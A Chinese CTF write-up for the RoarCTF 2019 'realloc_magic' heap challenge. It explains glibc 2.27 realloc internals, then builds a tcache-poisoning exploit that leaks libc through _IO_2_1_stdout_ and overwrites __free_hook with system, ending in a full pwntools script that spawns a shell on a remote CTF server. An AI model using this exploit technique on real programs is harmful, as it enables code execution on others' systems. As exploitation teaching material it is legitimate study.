前言
2019_realloc_magic是在2.27环境下的一个堆题,里面只用到了realloc函数进行堆分配,所以先来深入了解realloc函数
realloc–2.27
功能是:重新调整之前调用 malloc 或 calloc或其他堆函数 所分配的 ptr 所指向的内存块的大小。
我们使用时:
void *realloc(void *ptr, size_t size)
函数原型:
void *__libc_realloc (void *oldmem, size_t bytes);
接下来都是看函数原型
关键源码
首先,和malloc还有free一样会先进行钩子函数判断
void *(*hook) (void *, size_t, const void *) =
atomic_forced_read (__realloc_hook);
if (__builtin_expect (hook != NULL, 0))
return (*hook)(oldmem, bytes, RETURN_ADDRESS (0));
然后如果重分配的size为0,且原地址存在
#define REALLOC_ZERO_BYTES_FREES 1
#if REALLOC_ZERO_BYTES_FREES
if (bytes == 0 && oldmem != NULL)
{
__libc_free (oldmem); return 0;
}
#endif
那么可以看到这时:
realloc(void *ptr, size_t size) == __libc_free (void *ptr);
如果重分配的原地址为NULL
/* realloc of null is supposed to be same as malloc */
if (oldmem == 0)
return __libc_malloc (bytes);
那么:
realloc(void *ptr, size_t size) == __libc_malloc (size);
没有出现以上特殊情况就执行真正的realloc—_int_realloc
const mchunkptr oldp = mem2chunk (oldmem);
/* its size */
const INTERNAL_SIZE_T oldsize = chunksize (oldp);
[....]
checked_request2size (bytes, nb); //对齐操作
[....]
if (SINGLE_THREAD_P)
{
newp = _int_realloc (ar_ptr, oldp, oldsize, nb); //<======
assert (!newp || chunk_is_mmapped (mem2chunk (newp)) ||
ar_ptr == arena_for_chunk (mem2chunk (newp)));
return newp;
}
_int_realloc
如果原chunk足够,则按照新的需求切割原chunk
if ((unsigned long) (oldsize) >= (unsigned long) (nb))
{
/* already big enough; split below */
newp = oldp;
newsize = oldsize;
}
[....]
/*看切割后剩余的chunk能不能作为remainder*/
assert ((unsigned long) (newsize) >= (unsigned long) (nb));
remainder_size = newsize - nb;
if (remainder_size < MINSIZE) /* not enough extra to split off */
{
set_head_size (newp, newsize | (av != &main_arena ? NON_MAIN_ARENA : 0));
set_inuse_bit_at_offset (newp, newsize);
}
else /* split remainder */ /*如果可以作为remainder,则对其进行free操作*/
{
remainder = chunk_at_offset (newp, nb);
set_head_size (newp, nb | (av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
/* Mark remainder as inuse so free() won't complain 在free之前先将remainder后面chunk的inuse为置1*/
set_inuse_bit_at_offset (remainder, remainder_size);
/*free 剩余的作为remainder*/
_int_free (av, remainder, 1);
}
check_inuse_chunk (av, newp);
return chunk2mem (newp); //整个函数的返回
}
这种情况返回原指针
如果原chunk不足,尝试利用nextchunk
如果nextchunk 为 top那就直接从top分割,扩大原chunk
/* Try to expand forward into top */
if (next == av->top &&
(unsigned long) (newsize = oldsize + nextsize) >=
(unsigned long) (nb + MINSIZE))
{
set_head_size (oldp, nb | (av != &main_arena ? NON_MAIN_ARENA : 0));
av->top = chunk_at_offset (oldp, nb);
set_head (av->top, (newsize - nb) | PREV_INUSE);
check_inuse_chunk (av, oldp);
return chunk2mem (oldp);
}
如果nextchunk 为free chunk,如果合并后可以满足要求则进行合并
/* Try to expand forward into next chunk; split off remainder below */
else if (next != av->top &&
!inuse (next) && //inuse 宏判断当前chunk的use状态
(unsigned long) (newsize = oldsize + nextsize) >=
(unsigned long) (nb))
{
newp = oldp;
unlink (av, next, bck, fwd);
}
[.....]
/*同样的,在合并之后对整个chunk进行按需切割*/
/* If possible, free extra space in old or extended chunk */
assert ((unsigned long) (newsize) >= (unsigned long) (nb));
remainder_size = newsize - nb;
if (remainder_size < MINSIZE) /* not enough extra to split off */
{
set_head_size (newp, newsize | (av != &main_arena ? NON_MAIN_ARENA : 0));
set_inuse_bit_at_offset (newp, newsize);
}
else /* split remainder */
{
remainder = chunk_at_offset (newp, nb);
set_head_size (newp, nb | (av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
/* Mark remainder as inuse so free() won't complain */
set_inuse_bit_at_offset (remainder, remainder_size);
_int_free (av, remainder, 1);
}
check_inuse_chunk (av, newp);
return chunk2mem (newp);
}
如果nextchunk无法利用,则malloc(newsize),然后数据赋值,free原chunk
else
{
/*
Unroll copy of <= 36 bytes (72 if 8byte sizes)
We know that contents have an odd number of
INTERNAL_SIZE_T-sized words; minimally 3.
*/
copysize = oldsize - SIZE_SZ;
s = (INTERNAL_SIZE_T *) (chunk2mem (oldp));
d = (INTERNAL_SIZE_T *) (newmem);
ncopies = copysize / sizeof (INTERNAL_SIZE_T);
assert (ncopies >= 3);
if (ncopies > 9)
memcpy (d, s, copysize);
else
{
*(d + 0) = *(s + 0);
*(d + 1) = *(s + 1);
*(d + 2) = *(s + 2);
if (ncopies > 4)
{
*(d + 3) = *(s + 3);
*(d + 4) = *(s + 4);
if (ncopies > 6)
{
*(d + 5) = *(s + 5);
*(d + 6) = *(s + 6);
if (ncopies > 8)
{
*(d + 7) = *(s + 7);
*(d + 8) = *(s + 8);
}
}
}
}
_int_free (av, oldp, 1);
check_inuse_chunk (av, newp);
return chunk2mem (newp);
}
}
小结
- realloc(ptr,0)相当于free函数
- realloc(0.size)相当于malloc函数
- realloc(ptr,size)
- newsize<size:进行分割,剩下的chunk如果大于等于MINSIZE则进行free
- newsize<size:
- next 为top且满足需求,直接从top切割
- next为freechunk 且满足要求先合并(unlink)再切割
- next不满足要求进行malloc(newsize),然后进行数据拷贝,free原chunk
2019_realloc_magic
IDA
init(); // 标准缓冲区关闭
while ( 1 )
{
menu();
choice = read_int();
switch ( choice )
{
case 2:
delete(); // 将bss_realloc_ptr free后未bss记录的指针置零
// double free漏洞
break;
case 666:
ba(); // 只能进行一次bss的指针置零操作
break;
case 1:
add(); // 通过realloc获取chunk,指针同样记录在bss段
// read读取对应size个字节,未添加截至符'\x00'
break;
default:
puts("invalid choice");
break;
这里函数都比较简单,没有复杂的堆数据结构,主要对realloc和tcache的利用
add函数
int add()
{
unsigned int size; // ST0C_4
puts("Size?");
size = read_int();
bss_realloc_ptr = realloc(bss_realloc_ptr, size);
puts("Content?");
read(0, bss_realloc_ptr, size);
return puts("Done");
}
思路
主要利用基础:UAF,double free
注意到题目中是没有show类型的函数的,所以想进行地址泄露应该要靠IO_FILE攻击
难点:利用realloc进行堆块合并后,再利用UAF进行地址覆盖
关联libc地址
整个程序保护全开,而且没有show函数那么我们能利用small chunk的释放获得~libc地址
#chunk0
add(0x70,'A'*8)
add(0,'A'*8)
#chunk1
add(0x100,'B'*8)
add(0,' ')
#chunk2
add(0xa0,'C'*8)
add(0,' ')
add(0x100,'B'*8) #获取chunk1
for i in range(7): #2.27glibc下的tcache几乎没有检测机制
delete()
add(0,'') #注意add(0,'')的同时不仅释放了原chunk还将bss上的记录置零
最后的add(0,’’)使得chunk1无法放入tcache从而放入unsortedbin这样就获得了~libc
top: 0x55f30ee29490 (size : 0x20b70)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x55f30ee292d0 (size : 0x110)
(0x80) tcache_entry[6](1): 0x55f30ee29260
(0xb0) tcache_entry[9](1): 0x55f30ee293f0
(0x110) tcache_entry[15](7): 0x55f30ee292e0
realloc的extend
根据realloc函数的特点,如果next是一个freechunk 那么如果oldchunk和next之和能够满足要求,则进行合并
add(0x70,'A'*8) #0 获得chunk0
add(0x180,'D'*8) #之前我们设置chunk0为0x70,chunk1为0x100然后在realloc(0x180)就可以刚好占用这两个chunk,而chunk2用于隔离top
此时堆:
0x5644537b0250: 0x0000000000000000 0x0000000000000191 <=====我们获得的 chunk0
0x5644537b0260: 0x4444444444444444 0x0000000000000000
0x5644537b0270: 0x0000000000000000 0x0000000000000000
0x5644537b0280: 0x0000000000000000 0x0000000000000000
0x5644537b0290: 0x0000000000000000 0x0000000000000000
0x5644537b02a0: 0x0000000000000000 0x0000000000000000
0x5644537b02b0: 0x0000000000000000 0x0000000000000000
0x5644537b02c0: 0x0000000000000000 0x0000000000000000
0x5644537b02d0: 0x0000000000000000 0x0000000000000111 <=======tcache所记录的 chunk1
0x5644537b02e0: 0x00007f021ed13ca0 0x00007f021ed13ca0
0x5644537b02f0: 0x0000000000000000 0x0000000000000000
tcachebins
0xb0 [ 1]: 0x5644537b03f0 ◂— 0x0
0x110 [ 7]: 0x5644537b02e0 —▸ 0x7f021ed13ca0 (main_arena+96)
我们通过chunk0就可以任意修改chunk1,那么我们想要获得一个有用的地址就需要:
- 将chunk1的size修改
- next字段(fd)覆盖为可利用字段,这里就是IO_2_1_stdout
所以我们将next字段的最后两个字节覆盖为0x?760。pwndbg> p &_IO_2_1_stdout_ $1 = (struct _IO_FILE_plus *) 0x7f021ed13760 <_IO_2_1_stdout_>
在本地我们可以先关闭ASLR精准覆盖,之后攻击成功再开启,只需爆破一位即可
将chunk1的size字段修改后再进行一次realloc(ptr,0x100)和realloc(ptr,0)就可以将chunk1取出并放入另一个tcache。因为tcache_get /tcache_get 只检查了对应下标是否越界以及改下标下是否有freechunk
payload = 'A'*0x78 + p64(0x41)
payload += '\x60\x37'
add(0x180,payload)
add(0,'')
add(0x100,'B'*8) #chunk1
add(0,'')
此时堆:
(0x40) tcache_entry[2](1): 0x5555557592e0 <=====
(0xb0) tcache_entry[9](1): 0x5555557593f0
(0x110) tcache_entry[15](6): 0x7ffff7dd3760 --> 0xfbad2887 (invaild memory) <=====之后就可以获得_IO_2_1_stdout_ 的写入权
(0x190) tcache_entry[23](1): 0x555555759260
IO Attack
通过调试puts调用过程:
- __GI__IO_file_xsputn (_IO_new_file_xsputn)
- 计算当前输出缓冲区大小count = f->_IO_write_end - f->_IO_write_ptr;
- 如果输出缓冲区无法满足,调用_IO_OVERFLOW刷新,或分配缓冲区。这里就可以达到我们的目的
我们将输入缓冲区类的指针直接覆盖为0,将write_base覆盖成相对较低的地址,并且能泄露有用地址。pwndbg> p _IO_2_1_stdout_ $1 = { file = { _flags = -72537977, _IO_read_ptr = 0x7ffff7dd37e3 <_IO_2_1_stdout_+131> "\n", _IO_read_end = 0x7ffff7dd37e3 <_IO_2_1_stdout_+131> "\n", _IO_read_base = 0x7ffff7dd37e3 <_IO_2_1_stdout_+131> "\n", _IO_write_base = 0x7ffff7dd37e3 <_IO_2_1_stdout_+131> "\n", _IO_write_ptr = 0x7ffff7dd37e3 <_IO_2_1_stdout_+131> "\n", _IO_write_end = 0x7ffff7dd37e3 <_IO_2_1_stdout_+131> "\n", _IO_buf_base = 0x7ffff7dd37e3 <_IO_2_1_stdout_+131> "\n", _IO_buf_end = 0x7ffff7dd37e4 <_IO_2_1_stdout_+132> "",
由于stderr_addr < stdout_addr < stdin_addr:
只需覆盖一个字节,所以我们就可以将write_base覆盖为&IO_2_1_stderr->vtable 这样就可以泄露pwndbg> p &_IO_2_1_stderr_ $2 = (struct _IO_FILE_plus *) 0x7ffff7dd3680 <_IO_2_1_stderr_> pwndbg> p &_IO_2_1_stderr_->vtable $3 = (const struct _IO_jump_t **) 0x7ffff7dd3758 <_IO_2_1_stderr_+216>
- 如果输出缓冲区无法满足,调用_IO_OVERFLOW刷新,或分配缓冲区。这里就可以达到我们的目的
- 计算当前输出缓冲区大小count = f->_IO_write_end - f->_IO_write_ptr;
然后通过同样的方法我们可以覆盖tcache的next为hook地址,这次不需要爆破,因为libc地址已经知道了
EXP
#+++++++++++++++++++exp.py++++++++++++++++++++
#!/usr/bin/python
# -*- coding:utf-8 -*-
#Author: Squarer
#Time: 2020.11.16 17.36.39
#+++++++++++++++++++exp.py++++++++++++++++++++
from pwn import*
#context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('./roarctf_2019_realloc_magic')
libc = ELF('./libc-2.27.so')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/glibc/x64/2.27/lib/libc-2.27.so')
def add(size,cont):
sh.sendlineafter('>> ','1')
sh.sendlineafter('Size?\n',str(size))
if(size!=0):
sh.sendafter('Content?\n',str(cont))
def delete():
sh.sendlineafter('>> ','2')
def ba():
sh.sendlineafter('>> ','666')
def show_addr(name,addr):
log.success('The '+str(name)+' Addr:' + str(hex(addr)))
#sh = process('./roarctf_2019_realloc_magic')
def pwn():
#chunk0
add(0x70,'A'*8)
add(0,'A'*8)
#chunk1
add(0x100,'B'*8)
add(0,' ')
#chunk2
#gdb.attach(sh)
add(0xa0,'C'*8)
add(0,' ')
delete()
#chunk1
add(0x100,'B'*8)
for i in range(7):
delete()
add(0,'')
add(0x70,'A'*8) #0
#gdb.attach(sh,'b*$rebase(0x0A2A)')
#hijacking
add(0x180,'D'*8)
payload = 'A'*0x78 + p64(0x41)
payload += '\x60\x67'
add(0x180,payload)
add(0,'')
add(0x100,'B'*8) #1
add(0,'')
#gdb.attach(sh)
payload1 = p64(0xfbad1887) + p64(0)*3 + p8(0x58)
#gdb.attach(sh,'b*puts')
add(0x100,payload1)
#leaking
libc_addr = u64(sh.recvuntil('\x7f',timeout=0.1).ljust(8,'\x00')) - libc.sym['_IO_file_jumps']
if(libc_addr == -libc.sym['_IO_file_jumps']):
sh.close()
log.info("Fail!")
system_addr = libc_addr + libc.sym['system']
free_hook = libc_addr + libc.sym['__free_hook']
show_addr('libc_addr',libc_addr)
show_addr('system_addr',system_addr)
#attack
ba()
add(0x120,'A')
add(0,'')
add(0x130,'B')
add(0,'')
add(0x200,'C')
add(0,'')
add(0x130,'B')
for i in range(7):
delete()
add(0,'')
add(0x120,'A')
payload3 = 'A'*0x128 + p64(0x41)
payload3 += p64(free_hook-0x8)
add(0x260,payload3)
add(0,'')
add(0x130,'A'*8)
add(0,'')
add(0x130,'/bin/sh\x00'+p64(system_addr))
delete()
sh.interactive()
if __name__ == "__main__":
while True:
sh = remote('node3.buuoj.cn',29854)
try:
pwn()
except:
sh.close()